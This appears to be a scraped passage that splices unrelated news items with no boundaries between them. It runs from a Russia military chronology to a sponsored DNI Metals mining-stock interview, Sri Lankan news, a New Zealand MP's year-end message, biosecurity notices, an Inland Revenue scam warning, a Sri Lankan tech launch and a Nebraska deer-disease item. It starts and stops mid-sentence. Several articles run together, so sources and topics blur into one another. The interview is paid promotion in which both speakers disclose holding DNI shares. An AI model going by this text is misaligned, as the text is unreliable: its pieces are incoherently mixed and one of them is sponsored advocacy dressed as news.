to be a supplier of transport helicopters because many Canadians opposed the way the Filipinos were dealing with their rebels and drug gangs. The Russians were going to replace Canada as the main helicopter supplier. Instead, the new transport helicopters (16 UH-60s) are now being obtained from the United States and ten helicopter gunships (T129s) from Turkey. December 5, 2018: Off the Pacific coast of Russia an American destroyer conducted a FONOP (freedom of navigation operation) in a portion of Peter the Great Bay (off the Sea of Japan) that Russia claims as territorial waters. Portions of the bay that are farther than 22 kilometers from Russian territory (the accepted definition of territorial waters) are considered illegal claims. The United States conducted FONOPS here during the Cold War but that last time that was done was in 1987. Russia backed the Israeli anti-tunnel operation on the Lebanon border, which Iran did not appreciate. Russia, as always, is caught between its desire to maintain good relations with Israel while also maintaining a working relationship the Iran, Turkey and the Assad government of Syria. December 3, 2018: On schedule, another manned Soyuz launch, carrying three personnel, reached the ISS (International Space Station). This was a big relief for the ISS crew and came after a November 18th Soyuz success in getting an unmanned supply craft (with 2.5 tons of cargo) to the ISS. All this angst was because on October 11 a Soyuz rocket failed as it was attempting to take two men (a Russian and an American) to the ISS. The two passengers survived because of the emergency recovery system that is part of the manned rocket. But the failed Soyuz rocket was another example of the continued management and quality control problems in the Russian space program. Several American projects to get other manned spacecraft into service have been accelerated. The successful Soyuz launch today allowed three veteran ISS crew to return to earth on the 19th. November 29, 2018: Ukraine released an audio recording of the radio conversations between pilots of two Russian combat aircraft (a fighter and a helicopter) and their ground controllers as the aircraft were guided to the location of three Ukrainian ships approaching the Kerch Strait. The controller ordered the two aircraft to fire rockets at the Ukrainian ships. November 27, 2018: Finland and Norway went public with their accusations that Russia deliberately jammed GPS signals in northern Finland and Norway from a location near the Russian military bases in the Kola Peninsula on the Barents Sea. The jamming took place between October 25th and November 7th as NATO held its largest training exercise since the Cold War ended in 1991. Russia denied any responsibility even though they are known to possess long-range jammers, for GPS and other signals. Norway said they had tracked the jammer to a specific location but when Russia refused to admit any involvement Norway refused to explain how they tracked the signal because that would provide Russia with information on Norwegian EW (Electronic Warfare) equipment that might be useful to them. November 25, 2018: In the south (Crimea), three Ukrainian ships (a tug and two patrol boats) were traveling from the port of Odessa to the port of Mariupol. As the Ukrainian ships approached the Kerch Strait they were fired on by a Su-30 fighter and Ka-52 helicopter gunships. Both aircraft fired two unguided rockets, which were apparently meant as warning shots to stop the Ukrainian ships from going under the Kerch Strait Bridge and into the Sea of Azov. Some the rockets hit the Ukrainian ships, causing damage. That was followed by a Russian attack using armed ships and boarding parties of commandos which resulted in 24 Ukrainian sailors being taken prisoner. After that Russia anchored a large tanker under the Kerch Strait Bridge to block any unwanted traffic. The tanker was later removed but the strait continues to be guarded by Russian warships (usually two gunboats). The week before Russia announced that it was moving warships from the Northern Fleet (Barents Sea) and the Pacific fleet to the Black Sea to reinforce ships already there in case there is a confrontation with NATO over Russian threats to restrict access to the Sea of Azov. Those restrictions were imposed today. Since September Ukraine has been insisting it had the military means to defeat Russian efforts to take control of the Sea of Azov. It was pointed out that Ukraine has a large supply of modern anti-ship missiles and naval mines and could deploy them to quickly cripple any Russian naval forces in the area. This dispute went critical back in April 2018 when Russia declared the Sea Of Azov, reached from the Black Sea via the 4.5 kilometer wide Kerch Strait, was now under Russian control. The Crimean Peninsula, when it was part of Ukraine, was separated from Russia by the Kerch Strait. Maximum depth of the strait is 18 meters (59 feet) and there had long been talk of building a bridge between Crimea and the Kerch Peninsula (now and always part of Russia). Once Russia seized Crimea in 2014 proposals that a bridge be built actually turned into construction of that bridge. The Kerch Bridge opened in March 2018 (at least the highway part, the sturdier railroad section is still under construction). With that Russia declared the Sea of Azov under Russian control and no foreign ship could enter with Russian permission. So far the Russians have seized over a hundred ships trying to reach the Ukrainian ports of Berdiansk and Mariupol that are on the shore of the Sea of Azov. Russia is putting these two ports out of business. The EU and U.S. protested the Russian blockade but have not done anything to get that changed, like sending American warships to conduct a FONOP (freedom of navigation operation) in the Sea of Azov. November 24, 2018: In northern Syria (Aleppo), fighting between government and rebel forces included a government held residential area being hit by what appeared to be rockets with warheads containing poisonous gas which many in the target area suspected was a noxious industrial chemical, probably chlorine. At least fifty people in the area fell ill and received medical treatment but none have died. Chemical tests are being carried out to find out what happened. The government blamed the rebels and the rebels blamed the government. This is the second incidence of chemical weapons use this year. The last one was in April outside Damascus as government forces sought to drive rebels out of a suburban area. Syria has often been accused of using primitive (World War I type) chemical weapons that attack the respiratory system. These older chemical weapons are often nothing more than industrial chemicals (like chlorine) in large (and dangerous) doses. But the April attack and one before it apparently also included some nerve gas. In the last two years, the U.S. has twice bombed Syrian forces in retaliation for Syrians using chemical weapons and threatens to do so again if the Syrians use chemical weapons in Idlib or anywhere else. Syria apparently plans to do so in order to reduce casualties among their own troops. Thus the belief that the Aleppo incident was the work of government forces, not rebels and done in such a way as to avoid retribution (as was the case in April). Russia believes that industrial chemicals (like chlorine) dont count as chemical weapons (according the 2013 Russian brokered deal to rid Syria of chemical weapons) and the Iranians apparently dont care. The evidence indicated that the April attack involved a combination of chlorine and a nerve gas. Israel fears Iran is permitting Syria to use these chemical weapons to test their effectiveness and the degree of international outrage. The Aleppo attack will not be investigated as thoroughly as the April one because there are no outside observers and the Syrians can control what information gets out. Russia believed the Syrian version of what happened in Aleppo and broke the truce and launched several airstrikes on rebel positions in Aleppo and nearby Idlib province. TICKERS: DNI; DMNKF Source: Maurice Jackson for Streetwise Reports (12/19/18) Dan Weir, executive chairman of DNI Metals, speaks with Maurice Jackson of Proven and Probable about the progress his company has made with its graphite project in Madagascar, as well as developments with its Alberta project. Maurice Jackson: Joining us for a conversation is Dan Weir, the executive chairman of DNI Metals Inc. (DNI:CSE; DMNKF:OTC), which is establishing itself to become one of the world's leading graphite producers. Mr. Weir, welcome to the show, sir. Dan Weir: Hi, Maurice, and greetings from Madagascar. Maurice Jackson: Glad to have you back on the program. We brought you on today to provide us with an update on a number of important topics for current and prospective shareholders. But before we delve into today's interview, for first time listeners, who is DNI Metals, and what is the thesis you're attempting to prove? Dan Weir: DNI Metals is a public company. It's been around for about 35 years. DNI had a number of different projects. It first started out as a nickel company. It used to be called Dumont Nickel Incorporated, and it was shortened to DNI Metals. And it had, at one point, a gold asset in Utah. We still own a royalty on that gold asset. And then the previous management was focusing on a very large polymetallic deposit up in Alberta, which I think we'll talk about a little bit later. When I took over in late 2014, we decided to focus the company on graphite in Madagascar. Our projects in Madagascar are the company's main focus, and that focus is to get our projects in Madagascar into production. Maurice Jackson: Speaking of Madagascar, in our last interview, you referenced your commitment to getting the environmental permit and a purposed timeline. What can you share with us regarding the environmental permit? Dan Weir: What I've tried to do over the last two months is put out press releases to the market and discuss how we've been moving forward with the environmental permits. In one of our press releases in October, we mentioned that we had terminated our previous team. We brought a whole new team in to complete the work. I've been spending a lot of time in Madagascar to make sure that that is all happening. And you can see from a lot of press releases we have been making great headway. Some of the documents weren't filed properly with the government agency, the Office National pour l'Environnement Madagascar, also called the ONE. And we have those documents filed. We have to do two site visits, a technical site visit and then a public consultation visit. On December 5 and 6 when I was here, we did the technical visits. They went very well. And in mid-January we will do the public consultations, three public consultations, one for the district and then one for Marofody and Vohitsara, respectively. Thereafter, DNI Metals will have completed everything to receive the environmental permit. We are very excited that we've been moving forward. So it's been great, Maurice. Maurice Jackson: Speaking of the Vohitsara, can you provide us with an update on the resource estimate? Dan Weir: Yes. We have hired Micon, a company from Toronto. It is very well known around the world for its expertise in resource studies. In the first week in January, Micon will be coming to visit our flagship project, the Vohitsara in Madagascar, to conduct a site review. DNI Metals believes that we can have the main resource for the Vohitsara property completed by late January, early February. We are very excited about the timing because around the same time we should be receive the environmental permits, so very exciting times coming for DNI Metals shareholders. Maurice Jackson: Moving onto Canada, Dan, you referenced the Alberta Black Shells Deposit, which also a part of the DNI project portfolio. It's been overshadowed with your projects in Madagascar. Tell us a little bit more about this deposit and why is the market is specifically excited about the deposit there? Dan Weir: We had put the project on hold. It was a really a non-core asset. Previous management spent over $6.7 million. There are six outcroppings or six mineralized zones that we know of stretching well over 30 to 50 kilometers right near the tar sands or the oil sands in northern Alberta in Canada. It's what they call a polymetallic. So all sorts of different minerals are in the there, rare earths, uranium, cobalt, nickel, zinc. But what's been really exciting lately is the fact that it has a lot of vanadium in it and cobalt and lithium. As the world moves forward with battery metals, those are key components, as well as the graphite being a key component of a lithium-ion battery. So we're very excited about all of that. We've had a number of people come to us who are interested in doing something with that project. Again, I want to emphasize this, that we're focused on graphite. We will continue to focus on graphite. But we have done a great deal where a group is going to earn into our property in Alberta. It is going pay us a cash component and will spend a minimum of $1 million to earn into 50% of the project. At that point DNI will have 49% of the project, and we will have a carried interest to a full bankable feasibility study. So, in essence, another group is going to manage the project. It will do all the work on the project. I will help, but really it won't take up any of my time, and it allows me to focus on Madagascar and the graphite. But it allows DNI to have a 49% interest in a very big vanadium, cobalt, lithium, rare earth-type deposits. That has some potential. So we're very excited. Again, we get a carried interest all the way to the bankable feasibility study. And at that point we can decide whether or not we want to put up the capital to build the processing plant or get diluted down to a 2% royalty. We'll see at that point. Maurice Jackson: Dan, before we leave the deposit there, I want to discuss vanadium a little bit more in detail here. Most investors know very little about the metal. Can you share with us where the demand will be coming from regarding vanadium? Dan Weir: Some investors may not have heard about a vanadium redox battery. It's very different from a lithium-ion battery. Vanadium redox tend to be used for very, very large storage of energy. So if you had a wind farm or if you had a solar farm and you wanted to store the energy, a vanadium redox battery would be a very good battery for that. It's not a good battery to use in a car, a cell phone, or your laptop. That's where a lithium-ion battery has its use. These are big stationary-type batteries. But what's really driven the price in vanadium lately, and remember when we did the feasibility studies on the Alberta property, vanadium was at around $5.80. It's now well over $22 a pound. The primary reason for the price increase in vanadium is that China has just put in new construction laws where a higher percentage of rebar, which is used to strengthen concrete, has to have vanadium in it. That is for two reasons, strengthening the rebar, and helping in the corrosion factors of the rebar. Therefore demand is going through the roof for vanadium. Maurice Jackson: Switching gears. Dan, DNI will be conducting a financing. Can you share the details with us? Dan Weir: Yes. As DNI Metals completes our environmental licenses/permits, and as we move forward on the resource study, our ultimate goal is to complete those, we would do a much larger financing to build the pilot plant, buy the machinery needed. And by machinery, I mean the bulldozers and excavators and additional equipment. But in the meantime, you will see also from our press release, we're negotiating with some of the locals to buy some of their land. It'll actually likely be more of a 99-year lease, which we can renew for another 99 years. Again, we're negotiating all of that. To have some money in the bank right now to be able to use what I'm negotiating will help us. So it's nice right now to have some money in the bank. It lets me continue my work, what I need to do here in Madagascar, and sets us up for the next financing. Hopefully in and around some time in February or March that'll be the time when we want to do a much larger financing to build everything. So we decided to come up with a convertible debenture where investors who buy the debenture, if they hold on to the debenture for one year, there's a one-year term on the debenture, we'll pay them a 12% coupon. At that point you can convert the debenture into stock at 8 cents (CAD). You get a unit on the conversion, and all the details are in our press release. Or you can take the cash. Your choice at the end of one year. So this is really a short-term type loan to the company as we develop some of the things we need to do over the coming months. Maurice Jackson: Dan, to summarize what we've covered today, what is the next unanswered question for DNI Metals? When should we expect results, and what determines success? Dan Weir: As you've seen from a lot of our press releases recently, I have really tried to be open to the market and give exact details of what we're doing and how we're doing things for the environmental licenses, for the resource report, and now for potentially developing some of the Alberta projects. So there's not a lot else out here right now that hasn't been made public. We're working our butts off to get things done in Madagascar. I'm staying on top of it and moving it all forward. Maurice Jackson: What did I forget to ask? Dan Weir: I don't think you forgot to ask anything. Maurice. You've been to the property twice. You've seen how exciting it is. I'm really pushing to make sure that we get this into production and get there as soon as possible. That's my mandate, and that's what I'm doing. Maurice Jackson: Dan, for someone who wants to get more information regarding DNI Metals, please share the contact details. Dan Weir: The best thing to do is email me, because I will be going back and forth between Toronto and Madagascar. It's [email protected] and the website is www.DNIMetals.com. Maurice Jackson: And as a reminder, DNI Metals trades on the CSE: DNI. And on the OTC: DMNKF. DNI Metals is a sponsor of Proven and Probable, and we are proud shareholders for the virtues conveyed in today's interview. And last but not least, please visit our website www.provenandprobable.com where we interview the most respected names in the natural resource space. You may reach us at [email protected]. Dan Weir of DNI Metals, thank you for joining us today on Proven and Probable. Maurice Jackson is the founder of Proven and Probable, a site that aims to enrich its subscribers through education in precious metals and junior mining companies that will enrich the world. [NLINSERT] Disclosure: 1) Dan Weir: I, or members of my immediate household or family, own shares of the following companies mentioned in this article: DNI Metals. I personally am, or members of my immediate household or family are, paid by the following companies mentioned in this article: DNI Metals. 2) Maurice Jackson: I, or members of my immediate household or family, own shares of the following companies mentioned in this article: DNI Metals. I personally am, or members of my immediate household or family are, paid by the following companies mentioned in this article: None. My company has a financial relationship with the following companies mentioned in this article: DNI Metals is a sponsor of Proven and Probable. Proven and Probable disclosures are listed below. 3) The following companies mentioned in this article are billboard sponsors of Streetwise Reports: DNI Metals. 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The Information contained in or provided from or through this forum is not intended to be and does not constitute financial advice, investment advice, trading advice or any other advice. The Information on this forum and provided from or through this forum is general in nature and is not specific to you the User or anyone else. You should not make any decision, financial, investments, trading or otherwise, based on any of the information presented on this forum without undertaking independent due diligence and consultation with a professional broker or competent financial advisor. You understand that you are using any and all Information available on or through this forum at your own risk. Home Affairs Minister Vajira Abeywardene said yesterday that a dispute arose as to how Field Marshal Sarath Fonseka, as a retired military officer, could work with President Maithripala Sirisena as the Commander in Chief of the Armed Forces. Mr. Abeywardene told a media conference that Field Marshal Sarath Fonsekas name was included in the list of names which were sent to the President but there was an issue on how the President (who is the head of armed forces), and Field Marshal Sarath Fonseka could work together in the Cabinet. He said the matter could be sorted out as the Defence Secretary had already pointed out that Mr. Fonseka was only a retired military officer and could hold any other position in addition to the post of Field Marshal. He said more ministers will be sworn in after President Maithripala Sirisena returns from an overseas tour which he intends to undertake shortly. A 30 member Cabinet was sworn in initially to overcome the crisis which is pertaining to allocation of funds. Others will be sworn in later, he said. It was also mentioned that legal advice would be sought on increasing the number of Ministers in the Cabinet. However, the Minister said he was not aware of what happened with MP Palitha Range Bandara, who was not given a ministerial portfolio. Mr. Range Bandaras name was also included in the list which was sent to the President but I am not aware as to why he was not appointed as a minister. However, we expect to resolve these matters soon, he said. (Yohan Perera) A family of five children living in Kitulakanda at Radawana are in a predicament because the familys 35-year-old bread winner D.K. Kumarsinghe (35) is seriously ill with intestinal cancer. The childrens mother, Wasantha Kumari said they had been struggling for survival for more than three years from the time her husband fell ill. The eldest in the family is an 18-year-old girl who left school recently and the others are aged 15, 10 and 8 with the youngest being a four-year-old girl. My husband maintained the family with the meagre income he earned as a coconut plucker and a manual labourer in the area. He developed a cancer in his anus and underwent a serious of surgical operations but without a permanent cure. Doctors in the Watupitiwala and Gampaha General Hospitals who examined him found his kidneys were badly affected. Despite his illness he continued to work because of economic constraints faced by the family particularly the childrens schooling. However, he was incapacitated when he met with an accident causing him to suffer from fractures in the lower and right upper and lower limbs. Currently he is bed-ridden leaving the family to the mercy of our neighbours who help us out of sympathy. Schooling of my three sons has come to a standstill because of the hardships we are facing. Meanwhile, our 10-year-old child is also suffering from a kidney ailment but I am not in a position to spend for his medical tests recommended by doctors. My husband is required to undergo another surgery. I have not been able to get my youngest daughter admitted to a pre-school becuase of the expenses. We are not entitled even to the Samurdhi allowance. Recently we were ejected from the house we lived in because of the arrears of rent and we shifted to another house. The present landlord has warned us not to run into arrears of rent, the childrens mother Wasantha Kumari said. She requested the public and civil society organizations to help provide treatment to her husband and their 10-year-old son and to spend for their schooling which the children urgently need. The Grama Niladhari of 390/c Kitulkanda division in Radawana has confirmed the sad plight of this family and recommended public relief. Angie Warren-Clark Labour MP 2018 has been a huge year for the Government. Im honoured to be part of a team that stepped up and started to put things right for all New Zealanders. Were delivering real gains for real people. Theres much work to be done, and were getting on with the job. Locally, youll have seen $665m in roading improvements, kicking off with safety improvements on SH2, funding school improvements, and over 1,300 jobs added under our strong economy. Nationwide, the economy is strong, with the lowest unemployment in ten years at 3.9% and more jobs than ever before with 73,000 extra jobs delivered in our first year of Government (from September 2017 to September 2018). Plus a healthy rainy-day surplus, and the best economic growth numbers in years and higher growth forecasts than the US, UK and Australia. Were managing the countrys debt responsibly, and making sound investments for the future. Were building an economy thats growing and working for all of us. From the West Coast to the East Coast, from Southland to Northland, were working hard in the regions. Provincial Growth Fund initiatives are looking out for communities and the environment creating jobs, planting trees, supporting farmers, and protecting our waterways, wildlife, and forests. Weve approved over regional 100 growth projects already and planted over 60 million trees, all of which will help our regions to prosper. Were helping businesses innovate across the country with our research and development tax incentive, and were ensuring we are equipped to transition to a clean, green carbon neutral economy. Under Jacinda Arderns leadership, were making sure New Zealand is the best country in the world to be a child. Our Families Package boosted the incomes of 384,000 families by around $75 a week, Jacindas own Child Poverty Reduction Bill was introduced, and we passed the Family Violence Bill. We were excited to be there when the first families moved into their Kiwibuild homes in October. Everyone deserves an affordable, warm, dry home and almost 4,000 more are under contract right now. Investing in teachers, resources, and fit-for-purpose classrooms will make sure all kids have access to an education that works for them; so they can reach their potential. This year we approved 1,500 new teaching places and started work building or rebuilding over 200 new classrooms. In total, we have pledged over $1 billion for education initiatives since we came into Government. In health, were getting on with fixing the run-down hospitals, looking after nurses and caregivers, and weve cut the cost of visiting a GP for around 600,000 Kiwis. Weve also made visits to the Doctor free for all under 14 year olds. Were overhauling New Zealands mental health system to ensure everyone is able to get the help they need, when they need it. Theres so much more that Im proud of. Weve delivered more police and a lower crime rate. Foreign speculators are out of our housing market. Were paying into the Super Fund again so New Zealanders can be secure in retirement. Weve raised the minimum wage. Weve extended Paid Parental Leave. Next year were planning on doing even more. But for now, I hope you all have a well-deserved, safe, restful, and happy festive break. Enjoy the sun, and bring on 2019! Biosecurity New Zealand and the Department of Conservation are encouraging the public to check their local myrtle plants this summer to help track the spread of the fungal disease myrtle rust. Myrtle rust is likely to be more active during warmer weather and is likely to spread to new areas where it hasnt been seen before. New Zealands precious native myrtle plants including pohutukawa, rata, Manuka, kanuka and ramarama are vulnerable to the disease. The fungus, which is mainly spread by wind, generally infects shoots, buds, and young leaves of myrtle plants. Infected plants show typical symptoms including bright yellow powdery spots on the underside of leaves. In a statement released by Biosecurity NZ, it says if you think you see symptoms of myrtle rust remember to not touch the plant or collect samples, but take pictures and report it to Biosecurity New Zealands Exotic Pest and Disease Hotline on 0800 80 99 66. As of December 2018, the disease has been confirmed on 811 properties across most of the North Island and upper areas of the South Island. Taranaki, Auckland and Bay of Plenty are the most seriously affected areas. Biosecurity NZ and DOC are currently working in partnership to identify ways to best manage the disease and support the health of our myrtles in the future. Biosecurity New Zealands manager for recovery and pest management, John Sanson, says a cross-sector working group has developed a national long-term management plan for myrtle rust. This working group includes members from Biosecurity New Zealand, the Department of Conservation, Maori organisations with an interest in biosecurity, the Ministry of Culture and Heritage, regional councils, and the Project Crimson Trust. The group has provided recommendations on agreed goals that will underpin our collective approach to managing myrtle rust. We are also investing significantly in scientific research to develop new tools, build understanding of myrtle rust and explore possible long-term management options with a $3.7 million programme of research. An additional $5 million funding increase from the Strategic Science Investment Fund will build on work already being done by government agencies, Maori, councils and research providers over the next three years, says John. In the meantime, it is important to understand where the rust has spread to, what plants it is affecting and where it is active. DOCs Project Manager for Myrtle Rust, Fiona Thomson says that a large programme of seed collection is underway to safeguard native myrtle species from extinction. We have 37 different myrtle species in New Zealand and so far weve made great progress 57 percent of the seed collections needed have been banked in the New Zealand Indigenous Flora Seed Bank. DOC also wants to understand the spread of the disease so is asking staff and the public to keep an eye out for myrtle rust over the summer. Everyone has an important role to play in biosecurity. The more eyes looking out for myrtle rust means the better we can monitor this disease and protect our precious myrtles, including our iconic Christmas tree, pohutukawa. A map of areas where myrtle rust has been found in New Zealand and resources on what to look for, what to do if you find myrtle rust and how to manage it are available on the Biosecurity New Zealand myrtle rust webpage: www.mpi.govt.nz/myrtlerust. Bay of Plenty Our client has plenty of work in the pipeline and as such they are in need of qualified or experienced carpenters for an... View or Apply on GoodWork.co.nz With events kicking off in just about every corner of the city, theres never been a better time to stay right here in the Bay of Plenty over the summer holiday season. One spot thats set to host some of the action is the Old Brewers Field in Mount Maunganui, which will be home to a series of summer events under the Mount Park brand. The event series is the brainchild of Tauranga promoters and business partners Pato Alvarez and Mitch Lowe. Now in its third year, Mount Park is one of many ways the pair are attempting to bring life to the Mount Maunganui area over summer. Mount Park is a brand and destination that Mitch and I created, says Pato. Tauranga gets an influx of people over the summer period and we wanted to make sure there were events that people could attend. Pato says the Mount Park series slots well into the nationwide calendar of summer events, with many of the acts also touring around other New Zealand hot spots like Coroglen, Nelson and Hawkes Bay. We have four different events happening to cater to everyones musical taste. Theres Blindspott, for those who enjoy rock music; Katchafire and Kora, for those with Reggae roots; and SACHI, as well as Sticky Fingers, for the younger generation. The venue fits a capacity of between 3000-4000 people, making for a more relaxed and chilled out environment. This is one of my favourite venues to put on shows, the vibe is great and the location is good. Most people can walk to the venue. Its not as crowded as some of the other festivals happening in Tauranga over summer and a lot easier to manage. The Mount Park series will be hosted at Brewers Park 107 Newton Street, Mount Maunganui. Tickets from www.ticketspace.co.nz or 107 Newton Street Mount Maunganui. Event details: In todays weather forecast we are expecting a fine day but showers are possible from the afternoon. Also westerlies. Its a one-clothing layer day today with a high of 24 and an overnight low of 15 degrees. Humidity is 90 per cent. Low tide is at 12.20pm and high tide at 6.20pm(Tay St). Theres a sea swell of 0.5m and sea temperature is 21 degrees. Sunset tonight is at 8.32pm. If youre going fishing the next best fish bite time is between 10.30am and 12.30pm.. On this day in NZ history in 1964 New Zealand whalers harpooned their last victim. More than 170 years of New Zealand whaling history ended when J.A. Perano and Company caught its last whale off the coast near Kaikoura. In 1971 it became full steam ahead for the Kingston Flyer. A few months after the last steam locomotives had been withdrawn from this country's scheduled rail operations, New Zealand Railways launched a new tourist-oriented steam passenger venture in the South Island. On this day in world history in 1620 the Pilgrims landed at or near Plymouth Rock. In 1790 Samuel Slater opened the first cotton mill in the United States (in Rhode Island). In 1862 the U.S. Congress authorized the Medal of Honor to be awarded to Navy personnel who have distinguished themselves by their gallantry in action. In 1910 over 2.5 million plague victims were reported in the An-Hul province of China. In 1946 an earthquake and tidal wave killed hundreds in Japan. In 1964 Great Britains House of Commons voted to ban the death penalty. In 1986 500,000 Chinese students gathered in Shanghais Peoples Square calling for democratic reforms, including freedom of the press. In 1988 Pan Am Flight 103 from London to New York exploded in midair over Lockerbie, Scotland, an hour after departure. All 259 passengers were killed in the explosion caused by a bomb hidden inside an audio cassette player that detonated inside the cargo area when the plane was at an altitude of 31,000 feet. A shower of airplane parts falling from the sky also killed 11 Lockerbie residents. Today is the birthday of Jane Fonda, actress, political activist, and exercise guru. Born in 1937 she once said It's never too late - never too late to start over, never too late to be happy. To get involved in activities around the Bay of Plenty, please check out our Whats on page. Have a great day! Biosecurity New Zealand is laying special traps designed specifically to lure brown marmorated stink bugs, in an area in Mount Maunganui, following the detection of a lone male bug. This is a precautionary step following this detection. The single live male BMSB was found on a side table, just inside the main entrance of a house in Mount Maunganui on 15 December. It's not known where the stink bug came from and inquiries are continuing to try to determine a pathway. The investigation to date has found no evidence of an established BMSB population. "We are well prepared for this type of detection and we've been working closely with industry on prevention activities and education for some years," says Biosecurity New Zealand spokesperson Dr Catherine Duthie. "We will keep investigating and step up surveillance in the area to help us determine whether this BMSB is a lone hitchhiker, or whether there are more in the area." Biosecurity New Zealand has some of the most up-to-date detection technology currently available, including the traps we use, along with the lures and our highly effective detector dogs. Around a dozen traps will be laid, with special lures around the area where the stink bug was detected, and near transitional facilities. A transitional facility is a place where imported items are taken to be checked before clearance for delivery to New Zealand buyers. The traps will be checked every couple of days for the first two weeks, then every fortnight. The special detector dog with a nose trained specifically for BMSB will also be regularly brought in to check over the area. "The potential impact of this pest on New Zealand's horticulture industry is serious, so we want to make absolutely certain this is the only one," says Catherine. Biosecurity New Zealand and industry have been running active education campaigns in New Zealand asking people to look out for BMSB to enable early detection. "It's due to this publicity that a member of the public reported this pest to us, and we thank them for doing so. "Alerts from the public are an important part of the system, allowing us to act quickly to eliminate any biosecurity threats. This find is a timely reminder that New Zealand's biosecurity system relies on more than just protections at the border." BMSB is a shield-shaped insect about the size of a ten cent piece with distinctive black and white banding on the abdomen and the antennae. If you think you have detected a suspect BMSB catch it; photograph it; report it call the Biosecurity New Zealand hotline on 0800 80 99 66. Automatic tax refunds are coming in 2019 and already scammers are taking the opportunity to trick people into handing over bank account details. Inland Revenue recently sent out e-mails informing New Zealanders about proposed changes that would see automatic tax assessments and other initiatives in the biggest change to the tax system in a generation. Bernadette Newman, a customer segment leader at Inland Revenue, says scammers are trying to take advantage of the campaign. Weve had two examples of this just this week a convincing looking e-mail but with a couple of important details that mark it as fake. The e-mail asks you to complete the steps below to release money owed to you. Theres a link to fill in a form with advice to just fill it in and get your returns in order now. When you receive an e-mail like this, purporting to come from IRD, dont click on it but use your mouse to hover the web address and make sure its for a real Inland Revenue website. In the past few months, Inland Revenue has sent out more than two million e-mails as part of its Changing for you campaign and more will be sent in the new year. If the proposed changes go ahead, automatic tax refunds can be issued to eligible customers if Inland Revenue holds your up-to-date bank account information. This can be updated through myIR, the secure online portal, which is password protected. You will know youre in safe hands if youve been directed to myIR where a valid log-in is required, says Bernadette Newman. Unfortunately, scammers and phishers will try to take advantage of the volume of e-mail were sending and try to access bank accounts and steal peoples money. Its important to know what a fraudulent e-mail looks like. You dont want your summer holidays ruined by a scammer so take the time to check your e-mail and delete the fakes. Inland Revenue will never: email you with the amount of your refund (only within myIR) or send you an e-mail, knock on your door or phone you promising a tax refund. ask you to pay money to release a tax refund. send you an email with a hyperlink to a webpage that asks you to submit your personal information. demand payments through NZ Post or a gift card. If you receive a text scam message or a fraudulent call, please email us at phishing@ird.govt.nz https://www.ird.govt.nz/identity-security/scam/scam-alert.html for more tips, how to confirm or report a scam. https://www.netsafe.org.nz/scam-tips/ also has useful tips on how to recognise a scam. Gamata Technology, an accelerator platform initiated by youth-tech entrepreneurs covering every corner of Sri Lanka was officially launched recently at a ceremony held in Nelum Pokuna Mahinda Rajapaksa Theatre. The event was delegated by young entrepreneurs, leading tech companies, renowned personalities and Locals covering 19 Districts over Sri Lanka. The concept of Gamata Tech was build based on a research done on technological usage for several years, across Sri Lanka. The research exposed how a high percentage of youth misuse the technology at their hands due to lack of knowledge and empowerment. On the other hand they explored the lack of technological knowledgeof government officials and other parties. Drawing along the conclusions received, the founders explored the avenues and potential of the youth in rural areas who lacked a platform to enhance their strengths and execute their innovative ideas. The event was also used as an arena to introduce several innovative mobile applications to strengthen the technological revolution in rural areas introduced and innovated by I.C.A.N Advertising. The applications included Friends Belt (A genuine social media platform suitable to Sri Lanka), Gedarata Plus (A multi-vendor shopping platform from home), Esenin (A taxi app which passengers and drivers use) and Paara.lk (A comprehensive directory). The event had several sessions which educated and shared the opportunities for youth entrepreneurs from rural areas in Sri Lanka. One of the highlights of the day included the panel discussion which cultivated Dialogue on Digital Sri Lanka with the participation of erudite speakers of the industry. The experienced panelists included Kushil Gunasekara, Founder and the Chief Trustee, Foundation of Goodness, Achala Samaradiwakara, co-founder Good Market, Fathhi Mohamed, Co-founder of PickMe and Yoho Bed, Isura Silva, Consultant, Strategic Management of Sarvodaya Fusion and Dr. Ashan Perera, UN SDG Action Award Winner 2018, Youth Advocate, Social Entrepreneur and Founder of The Road to Rights Youth-Led Organization. The panel was moderated by Dr. Nirmal De Silva- Co founder and CEO of Paramount. The discussion was built around subjects such as opportunities and challenges of the rural entrepreneurship in SL, Responsibility of a society powered with technology, Why Sri Lanka needs entrepreneurship, Social entrepreneurship and a wide range of subjects that cover the arena of rural entrepreneurship. Welcoming the gathering Dr. Ashan Perera commented on the importance of a platform such as Gamata Technology While we were conducting the initial researches, I met many young Sri Lankans who had wonderful innovative ideas; web sites to promote tourism, integrate and notify people and business places, platforms to reach the international audience of historical monuments while being at their own hometowns. But these innovators lack the technology and the knowledge to execute these ideas. So if we all can take the right technology and right technological resources to the rural areas, we can build our countrywith these ideas to great heights. Eventhough theres people are waiting to change the world in rural areas, theres no stage built for them to do so. World is moving in great speed with technology. If we do not transport technological knowledge and skills to rural areas, we wont be able to join the international arena. He further added This launch of Gamata technology program, we hope to take the program to the people in all 25 districts. We will be meeting the youth, government officials etc. If we can give the right technological knowledge to these groups, we can find many resources for every industry. These resources are the ones which will change Sri Lanka, strengthen the culture, traditions and the unity we hold. We should identify them. I welcome Business sector, Entrepreneurs, Policy makers to join with us in strengthening them. The people who are behind this program can change the cities, our country and win the world. The generation of innovative ideas was given much attention at the panel discussion as the panelists discussed how the trend of business models has given way to the course of evolution. They emphasized how businesses are no longer profit oriented, but socially responsible businesses modeled around changing the society can sustain in the market. Achala Samaradiwakara, co-founder Good Market mentioned that it is all about using the current issues of the system, and changing the system using technology. Its not always about doing something new, but doing it differently adopting to the context and customers. Co-Founder of PickMe Fathhi Mohamed added. Environment and other social crisis are discussed at every platforms today, and the panelists provided examples on how we can prepare ourselves as a country to face such adversities in the future through social entrepreneurship, by solving the issues in the rural areas, by the youth entrepreneurs, using technology. Isuru Silva, Consultant, Strategic Management of Sarvodaya Fusion explained how norms and attitudes of education in Sri Lanka has to change. They discussed how as opposed to the popular myth, we can elevate and promote traditions and culture of Sri Lanka through technology. Many businesses complaint how Sri Lankas market is less competitive as we are limited with a population of 21 million. The panel conversed on how such factors does not matter, as long as a strong business model with flexibility is used. The probability of expanding Sri Lankan initiatives such as Pick Me into the global market was also discussed. Gamata Tech is an independent national initiative collaborated with The Road to Rights Youth-led Organization and Mithuru Mithuro Movement. The event was supported by I.C.A.N Advertising; a grassroots initiative which has made an impact on lives of people in over 15 districts through tech-based platforms. I.C.A.N has been engaged in the technology and advertising industries for over three years and with a team of experts in this field for over six years. LINCOLN The presence of chronic wasting disease (CWD) in deer has been detected for the first time in central and north-central Nebraska counties of Valley and Keya Paha, according to the Nebraska Game and Parks Commission. Game and Parks conducted CWD sampling operations at deer check stations in its northwest and north-central deer management units during the 2018 November firearm deer season. Hunters are encouraged to access the positive results posted at 